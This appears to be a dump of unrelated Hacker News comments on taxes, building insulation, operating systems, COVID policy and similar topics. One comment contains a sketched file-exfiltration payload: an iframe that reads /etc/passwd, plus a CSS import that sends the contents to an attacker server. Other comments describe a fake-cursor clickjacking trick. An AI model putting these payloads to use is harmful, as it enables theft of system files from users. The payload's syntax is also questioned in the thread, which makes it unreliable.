skysight-inc/HackerNews huggingface dataset:
I'm just trying to set explicit limits on liabilities. The alternative as I see it is to accept money to provide a service indefinitely, but have terms clauses that any purchased credits may be forfeited for any reason. Perhaps if that clause reads after more than 2 years from purchase then maybe that's fine. I'll think about it, thanks for the feedback.

I'm actually curious though, do many online platforms allow you to buy credits that never expire? The stock photography websites were one of my inspirations for the pricing scheme, and their credits certainly expire in a year or so.
How Planned Obsolescence Began with Lightbulbs
David Plummer created the task manager and the pinball game (Space cadet). Search about him, he has explained and revealed a lot of interesting facts last year.
I’ve seen “The Infinite Napkin” passed around in math circles. I can’t vouch for it and I haven’t read much of it:

https://web.evanchen.cc/napkin.html
It wasn't obfuscated at all. The guideline doesn't explicitly dislike such entries, but as a side effect of not being obfuscated it implicitly violated several guidelines at once (e.g. it was quite "longer than [it] need[s] to be"). Indeed, today's nginx source code [1] would be probably slightly more obfuscated than this code modulo perhaps name changes (and that can be considered as a minimal effort to get the entry within the size limit). Its only obfuscation was reusing a buffer from getenv() pre-initialized (referred as to "getenv() == "putenv()" in the hint).

[1] for example, https://github.com/nginx/nginx/blob/8365f73/src/http/ngx_htt...
So...
First vulnerability is that you can force someone to hit

2nd vulnerability is that you can print a password file (or other file) inside the text editor

<iframedoc src="file:///etc/passwd">

A dangling markup attack is an attack that sends you information as part of the url request up to the next quote

So you could do this and someone has sent you the contents of the password file when trying to get css

<style>@import{ "file:///net/MYSERVER.COM/stealpassword.css?=<iframedoc src="file:///etc/passwd">"}
</style>
Also this: https://www.youtube.com/watch?v=yOezSxtL05E

Great yt channel in general.
Yeah... I mean, I bag on Windows as much as the next Linux zealot, but my Win10 gaming machine -- still an Athlon64 -- boots from cold start to usable desktop in 5 seconds. It ONLY plays Civ V, but still.
Somalia may be an overkill.

Florida, on the other hand, does not tax its residents, while still having roads, schools and police.
> “There’s extensive primary source documentation to show the American colonies were bases of operation for pirates,”

Ironic. A century later, the newly created United States would build a navy and start fighting pirates (First Barbary War). How things can change.
abandoned or done?
I still have bootable Cyrix 133MHz that has MP3’s on the hard drive, they wouldn’t be there if it couldn’t play them.
Right, but while you can knock on Beanie Babies, how long have other collectibles held up over decades or centuries? Art works from the 15th century are extremely valuable today. If the blockchain is still around in 500 years, is it conceivable that an early gen Crypto Kitty could have a lot of value by then? Of course it is. Video games were looked at as toys for kids, but now have evolved until a multi hundred billion dollar industry, and an early generation video game cartridge or console in good condition is quite valuable (depending on rarity).

Anyways, there will be hits and misses with regards to digital collectibles on the blockchain, but the value of the space as a whole will grow tremendously (multiple hundreds of billions).
It's the way it's supposed to work. But it doesn't always. I get trapped in random negative thoughts all the time, lie to myself, confuse reality with my perception of it and get hung up on feelings of worthlessness and failure.
> It's never been clear to me why the Saami are "indigenous" but average Swedes, Finns, and Norwegians aren't.

Because while Scandinavians were in Southern Scandinavia before Saami were in Northern Scandinavia, the Saami were in Northern Scandinavia for millenia before the Scandinavians were, so, in terms of northern Scandinavia, the Saami and not the Scandinavians are indigenous.
Not just the font, the typesetting system behind it. All for his book!
I agree that it's transparent. But, do you know anyone who believes they have any say in how that money gets spent? do votes matter in any way whatsoever? most of the money is spent at the federal level. is anyone happy with political outcomes? even the winning party? (even a house/senate controlled by the democrats or all republican, have a hard time passing the bills they want).

40% of GDP seems like a pretty large subscription charge. 40% of the avg person's salary would be over 20K per year.

I could see this model working better if all the states were individual countries that can tax and spend the way they want. but the system as set up in the US just doesn't seem to make anyone happy because there's way too many diverse opinions on what to spend it on and how much to tax.
> ...resize it!

I began using altmove after discovering xfce's alt <mousebutton> functionality. I think I had to remap the move or the resize, one of the two, in altmove to get it to behave properly.

http://www.altmove.com/
Sounds like you're still running a spinning hard drive?

I have two PCs, one with a 2.5" SSD and another with an m.2, both are ready to use with 10-15 seconds of cold boot.

But cold boot usually isn't necessary, since they sleep just fine.
Xinuos Sues IBM and Red Hat for Antitrust Violations and Copyright Infringement
As someone who has a hard time not optimizing every dollar, I'm ill equipped to answer this question. I would not.
You can't always pre-allocate and the pointer is not giving you much information about the availability of the data behind it.
QNAP caught napping as disclosure delay expires, critical NAS bugs revealed
QuickLook is great. And the plugins are fantastic. I remember when I used to have a Mac there was a QL a plug-in that allowed you to peek into and browse Zip/Rar/DMG files.

That was so useful at a time where my workflow included multiple zip files containing assignments etc. Being able to simply hit spacebar to look into them, instead of decompressing and creating a new folder was incredible.

And if I’m not mistaken, the same plugin also allowed spotlight to then search the contents of the zip files.
It is a frequent reaction: Put people in charge of two things they can't control (people's speech and public's reaction) and they tend to become control freaks on the small things they actually have a hang on.
It compiles and debugs, that seems like an IDE to me.

VS Code is cool and all, but it definitely is a lot more manual and laborious than VS. the tooling and automation in VS is missed if you’re used to it.
> Florida, on the other hand, does not tax its residents

Yes, it does.

It doesn’t happen to use a personal income tax, but it absolutely does tax it's population.
I dunno exactly how the argument goes. You could probably come up with one or two though.
You probably know more than me but I don't really get how you can go from text source code to a stack without going through a tree or with recursion!
Don’t Believe the Doomsayers. Vaccines Will End the Pandemic
Meta comment: The custom scroll behaviour on that site is awful. I hate sites that try to "improve" the behaviour of scrolling by making it faster/slower than normal.
Accidents happen, but it's human fault and we can prevent it. It is hard, and consequence when it happen is devastating, but it is still much more easier comparing to undo all che CO2 had already released for decades. I hope people can understand this.
What he's suggesting is an ERV or HRV. You still get air exchange, as much as you want, but now you're passing that air through a heat exchanger and a "humidity exchanger" so you're not wasting all of that energy to condition that air. Another big benefit, now you don't have that moist outside air passing through fiberglass insulation batts in the walls working like growth media for mold.

As far as VOCs, you can crank up the air exchange to something on par with what a leaky building would do naturally. Even if you didn't, VOC off gassing should be basically the same rate. It's not going to accumulate enough in the air to substantially change the amount slowly coming out of paint, carpet, drywall, etc. If the air exchange rate was e.g. half then that should almost double the VOCs in the air.
Maybe it should simply be affordably accessible. Nothing in life is really free.
I remember teaching old guys how to use a mouse in my first real programming job after school.
I haven't built LEED, but how we build can for sure save energy. After building 3 homes in the USA, some basic updates to building codes would likely do more good than LEED will ever do.

It is so hard to convince people that the codes are the minimum. Who wants a product built to the minimum standard? Why doesn't the "market" demand it? Because people want cheap houses and the builder doesn't have to live in it or pay the utility bill. Buyers don't often ask for or compare bills on similar homes, so there is no point to upgrading insulation or HVAC unless you plan to stay in the home.

My oh-so-official-and-comprehensive-data:
One home I built was very typical for the neighborhood, except insulation and a slightly better HVAC system, nothing exotic. When the power was out and everyone was complaining that their houses were 40 degrees, we were still at 60. Our bills were sometimes half what our neighbors were. What did it take? About $4,000 on a $250,000 build (in 2007). The new owners of the home didn't know what they were getting b/c nobody asks or cares. We keep in touch and they've found the same when comparing to the neighborhood. If you are wondering, no the house didn't sell for more because it saves energy and money - that isn't on a real estate comp.

If we would just tweak the building codes just a tiny bit and it would make a huge difference.
As I see it, this just isn't true. I think you're going to have to elaborate on this with an actual concrete example (i.e. code) if you'd like to make a convincing argument.
That being said, Florida's sales tax is less than that in New York and property tax is half of New York's.

The roads in Florida are generally better (and cheaper), schools are good [1] and Florida State University is ranked higher than SUNY [2].

[1] https://www.usnews.com/news/best-states/rankings/education

[2] https://www.usnews.com/best-colleges/florida-state-universit...
Editing PDFs and sticking your signature on documents is trivial with Preview.app. Save-as-PDF is broken (edits don't show up reliably), but you can easily just print to PDF to work around that bug.

I can't get Evince or Okular to do this task: it'd be great if either worked, but I haven't looked into it.

(FWIW, I'm a full-time Linux desktop user, but I have to test PhotoStructure on Windows and macOS, so those boxes are on my desk too. PDF-related tasks are the only other reason why I turn to my Mac.)
Awww man, that window is gonna be closed to me ... :-P

Even 2038 would be pushing it...I need like a "2030 issue"

Maybe we could do a major tax code change? move to metric system ?
>Additionally, through all insulation there is an internal temperature gradient. If the there are discontinuities it is possible to get condensation when the temperature / dew point align just wrong.

Which is a good benefit of spray foam insulation. Your insulation is your air barrier and even if there was moisture in the pores of some open cell foam, it's not going to cause issues.
I don’t disagree with the author’s observations, but I think it’s important to note that basically what they describe is that “Linux is not a better OSX than OSX”, as opposed to “Linux is not a better OS than OSX”.

The latter may also be true, but that’s not what they describe in this article. Because in this article what they are trying to describe is trying to setup Linux to do the things they did on OSX the way they did it on OSX.
Can’t say I agree with this. I’ve been using Windows as my daily driver for the last decade since switching back from Mac+Linux for work reasons.

Honestly there’s lots to like in Windows 10 even if there’s a bit of bloat around the edges. I cannot imagine wanting to go back to the bad old days of ME. Modern Windows is stable, secure, fast and has plenty in there for power users.

Driver support and sleep mode is seamless and just works. Even video drivers are sandboxes in their own process. Windows can and I have seen it recover from video and other driver crashes. My laptop can switch between embedded and nVidia graphics seamlessly. This is a lot better than the situation on Linux.

Integrated firewall, AV (Windows Defender), drive encryption (bit defender) and application signing is great for end users. The update process is pushy but nags less than I’ve seen on Macs and honestly you should update regularly.

PowerShell, WSL and inbuilt virtualisation (Hyper-V) are great for power users. Revamped Explorer is also nice with options like open in PowerShell.

Integration with Azure AD and SSO means that for all internal applications for work I don’t need to sign on.

My main complaints are that start menu search is still broken with unnecessary integration with Bing and file search corrupting search results with the slightest typo, file copy is still slow for many small files (although directory merging is nice) and Microsoft is a way too aggressive in their product placements on the start menu and trying to force people to create Microsoft accounts.
> A good thing, because that meant the LED would emit its light along the entire casing, not just straight forward, making it much easier to look at.

In a pinch, if you don’t want your 5 or 7mm LEDs to be so focussed: carefully take a set of side-cutters and cut the tip off the LED.
Man, this is spot on and great insight. I'd love if people were really free to be so honest without repurcussion. Thanks for doing it.
The Performance Review Process Needs to Die (2015)
People who don't deal with archaeologists or the like may not get the humor here. It's super common for people in these fields to have historical hobbies on the side. Knapping and garments are common, but I've known people who do things like persistence hunting for fun. I spent awhile learning how to process animals myself.
I graduated from high school in 1996, and everyone in college dorms were exchanging music files with point to point sharing in the dorms. It was early adopter era, but the computers could handle it.

Ripping CDs and encoding was definitely a different story.
Books are not a commodity. They are one of the most differentiated products out there, with little possible substitution among titles.
I'm not surprised, I'm just curious what you meant by saying I'd be surprised at how few people target it.
“Everything’s a file!”
Ask HN: How Do Get GitHub Stars?
It's a css project. I know its a new one but has reached more than 7k+ users. I would like some suggestions on getting some stars. (There are 7k+ Users <300 stars on github) Thanks!

Repository: https://github.com/krishdevdb/reseter.css
Yes, overwhelming majority can easily be wrong. That's not surprising.

And islands still have to watch for random boats from any direction. Right now in Vietnam there is a little outbreak where a group of Vietnamese nationals illegally crossed the border by a fishing boat from Cambodia to Phu Quoc island, trying to avoid the mandatory two-week quarantine. Then they boarded a plane, arrived at their homeland and tested positive. Immediately their steps were traced by police, whole Phu Quoc is under a mask mandate, 3 levels of contacts are tested and in quarantine. It really isn't about being an island. That's a myth, you've been lied to. If you want an example closer to your home, look how hard it is to seal a land border with Mexico. They actually cross by rivers, so water makes it easier.
I have a copy of ISO 27002 from my employer: https://en.wikipedia.org/wiki/ISO/IEC_27002

It is kinda nice to be able to literally throw the book (or at least screenshots of the book) at management when they don't want to take security seriously.
Sure, you can pass a law that violates freedom of the press, but that doesn’t mean you can enforce it.
But is it reasonable to treat a .txt as anything other than plain text?
Either way is fine in my book. But obeying the law should not incur costs to actually know what the law is.
I assume the content-type autodetection exists because of how downloading files occasionally appends a .txt extension (I think this is when the content type is text/plain). Postel’s law gets applied with the result of macOS attempting to make up for misconfigured servers.
Most of the safety has always been in being a minority platform, and consequently I don't think the threat level has really changed all that much over the past ten years. Apple are really hitting the gas right now with their SIP work and the immutable OS volume and such.
Yes - Something around 3NF/BCNF.
Yeah, I think TextEdit.app is supposed to be a showcase for the Cocoa text system, really.
Inspired by Gitlab
This is the error I get when clicking that Twitter link: https://i.imgur.com/B4ackBV.png..............I_HATE_TWITTER/...

Reloading the page fixes it.. I've had this issue for probably about a year with Twitter.
As mentioned in the discussion above, their control group answers the question "if a person got COVID and was hospitalized because of it, how much worse off are they than had those things not happened?"

They do justify their choice in the actual paper (e.g. see the end of the "Study population" section).

(It's also interesting to compare COVID hospitalizations to other ones, say from a heart attack or allergic reaction, but those are different questions. For example, maybe a COVID hospitalization is less bad than one due to a heart attack, or worse than an allergy. Or maybe any hospital visit is just bad period. But given many people got hospitalized by COVID this year - something that never happened in the past - we need to know what that event cost them, that's the point of this study.)
Since this can make you think your cursor is in a different position in the page than it actually is, couldn't it potentially be used to mislead you to click outside the page as well? Possibly not into browser chrome[1], but what about on a iframe?

Place button A the user wants to interact with at position (X,Y), place iframe button B at position (X+W,Y), with as little a border as possible with the rest of the page, then offset fake cursor by -W. User will try to mouse over button A, mistakenly mouse over button B, and click it in the time it takes to register that the mouse pointer just jumped from the edge of one button to the edge of the other...

[1] Though I can see the trick below maybe working for some browser's permission request "tooltip" UIs...
I think doing as well as NZ would be a laudable goal. If the whole world did that well, then I think COVID would be quickly eradicated.

But, beyond the fact that the US has large land borders, the US has a genuine problem. We are economically dependent on legal and illegal cross-border seasonal migration. I personally think that, with actual political will, the borders could be made a lot less porous, but this would involve attacking the supply and demand sides. Neither party is interested.
But... Why? -J works great.
Counterpoint: Boot time is basically irrelevant once you have a reliable sleep/hibernate/whatever mode. My PC only reboots for windows updates or if I'm troubleshooting some inexplicable behaviour.

For the actual practical use case of sitting down at the computer and starting to use it, my PC wakes up essentially instantly. I simply don't care about boot time. My 2021 experience is far, far better than my 1998 one (well, the computer bits at least).
Which is very interesting in and of itself as that's not how dangaling markup attacks usually work (normally it would send the unparsed html, not the result of parsing the html). Not to mention wtf the non-standard <iframedoc> tag is and how it differs from an iframe.

But my broader point was less the how, and more that the style of writing was obnoxious.
https://web.archive.org/web/20210403031009/https://www.extre...
As Elon said, 'everyone chasing LIDAR is doomed to failed. DOOOOOOMED.'

Waymo is just one big cope party filled with HBS grads who can't fathom that they didn't succeed at something.
The 'one who causes fear' – new meat-eating predator dinosaur discovered
It's because taxes are so darn confusing, that it's assumed honest mistakes are just that.

Why are taxes confusing? To keep Turbotax in business!
Haven't thought of this in a while....

One of the demo sounds shipped with SunOS was a little metallic "ding" which, if repeated fast enough, would sound just like a cooling fan with a loose bearing. When my co-worker across the way complained about a noise from his machine I told him to hit it on the side; he did, and of course the sound "stopped".

Might have been several days later when I got busted from laughing when hitting his workstation as hard as he could didn't "fix" it anymore. I have no idea how that hard disk survived.
Out of curiosity, what would be the right amount of tax fraud for the expected value to be positive?
Automatically closing issues is violence
I would hope it's an exponential drop off, and you could even wedge doors open and drive ahead of things and then go back into a more passive house fully sealed state.
Fast but you had to save often as there was a possibility an app would take down the entire OS.
This post might have been better as a HN discussion submission, but figured I shouldn't post rants to HN, so I put it on my blog instead.
> When heated, the atomic structure of the material rearranges

So it does move, just on a smaller scale.
200km long conveyor belt running parallel to the Suez canal?
That was pretty informational. Thanks for the detailed explanation. Sounds really cool.
On the surface, I agree. There's a big difference between Siberia, Japan, and Pakistan, sure.

But please realize the US isn't the Valley with tons of variety of Asian folk. In most of the US, you get some generic semi offensively named restaurant like 'Golden Dragon' or 'Jade Palace' that attempts to make foods from multiple countries. Pad Thai or sushi or dumplings in one sitting.

In most of the US, Asian people are sparse so stores and restaurants brand themselves as just Asian. My wife googles Asian stores to find things she likes, since her country specific stores are a real rarity.
> My argument is, find examples of systemic racism and we can both ally against it.

That’s all I was doing. I’m all for UBI with the “U” intact.
Oh, yes. I believe it was Francis Fukuyama who predicted that different regions of the world would specialize in producing specific products, trade would increase, and wars would decrease. Wars would decrease because of the DEPENDENCE of trade - BUT international sanctions would replace wars as the key piece to hold other countries in check.

We are seeing the US sanction other countries when they do things we don't like - and we are getting sanctioned in turn.
But his point was that the foundations were fixed. You could say the same thing about the internet in the early 90s, and then http changed a bunch of things. Whose to say the same thing won't happen tommorow. It doesn't seem like HTTP is any more of a fixed foundation today than tcp/ip was in the 90s
An example of "unsafe defaults:"

NeXT used Display PostScript for the display manager. If you opened an email that had PostScript commands, the mail agent would happily, automatically, execute them.

A favorite payload sent around the computer lab would smear all pixels downward to "melt" whatever was rendered on your display.

Note that there weren't that many interesting things to exfiltrate back then, so this wasn't a terrible default: there wasn't (any!) online commerce, online banking was rare, and even passwords were never echoed to the terminal.